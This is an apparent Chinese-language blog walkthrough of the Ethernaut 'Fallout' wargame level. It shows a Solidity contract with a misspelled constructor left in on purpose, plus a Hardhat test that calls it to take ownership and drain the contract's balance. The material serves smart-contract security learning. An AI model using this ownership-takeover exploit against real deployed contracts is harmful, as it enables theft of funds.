{"content":{"title":"用Hardhat闯关Ethernaut题2-fallout","body":"# Fallout合约\r\n## 任务是将合约owner变成自己的地址，然后调用collectAllocations函数\r\n\r\n```// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\r\n\r\ncontract Fallout {\r\n    using SafeMath for uint256;\r\n    mapping(address => uint256) allocations;\r\n    address payable public owner;\r\n\r\n    /* constructor */\r\n    function Fal1out() public payable {\r\n        owner = msg.sender;\r\n        allocations[owner] = msg.value;\r\n    }\r\n\r\n    modifier onlyOwner() {\r\n        require(msg.sender == owner, \"caller is not the owner\");\r\n        _;\r\n    }\r\n\r\n    function allocate() public payable {\r\n        allocations[msg.sender] = allocations[msg.sender].add(msg.value);\r\n    }\r\n\r\n    function sendAllocation(address payable allocator) public {\r\n        require(allocations[allocator] > 0);\r\n        allocator.transfer(allocations[allocator]);\r\n    }\r\n\r\n    function collectAllocations() public onlyOwner {\r\n        msg.sender.transfer(address(this).balance);\r\n    }\r\n\r\n    function allocatorBalance(address allocator) public view returns (uint256) {\r\n        return allocations[allocator];\r\n    }\r\n}\r\n```\r\n这道题其实非常简单，是一种粗心大意留下来的bug，在Solidity 0.4.22版本之前函数名与合约名如果一样的话，那表示这个函数是构造函数，在合约里面只能在部署的时候自动调用一次，后续无法直接调用。本题的合约函数`Fal1out`其实中间是数字`1`，不是字母`l`，跟合约不是相同的名字，所以可以随便调用：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\n\r\ndescribe(\"RebaseDividendToken Token Test\", function () {\r\n    var Fallout;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"fallback deploy\", async function () {\r\n        const FallOutInstance = await ethers.getContractFactory(\"Fallout\");\r\n        Fallout = await FallOutInstance.deploy();\r\n    });\r\n    it(\"hack test\", async function () {\r\n        expect(await Fallout.owner()).to.not.equal(deployer.address);\r\n        await Fallout.Fal1out();\r\n        expect(await Fallout.owner()).to.equal(deployer.address);\r\n\r\n        await Fallout.collectAllocations();\r\n    });\r\n});\r\n```\r\n## 测试通过：\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/ofaYqMyo63186ea982336.png)\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmZSe5JqnrjhUuNrzq519taYP1FpkxKS3HNtTSGCai55Ls","timestamp":1668567465,"version":1}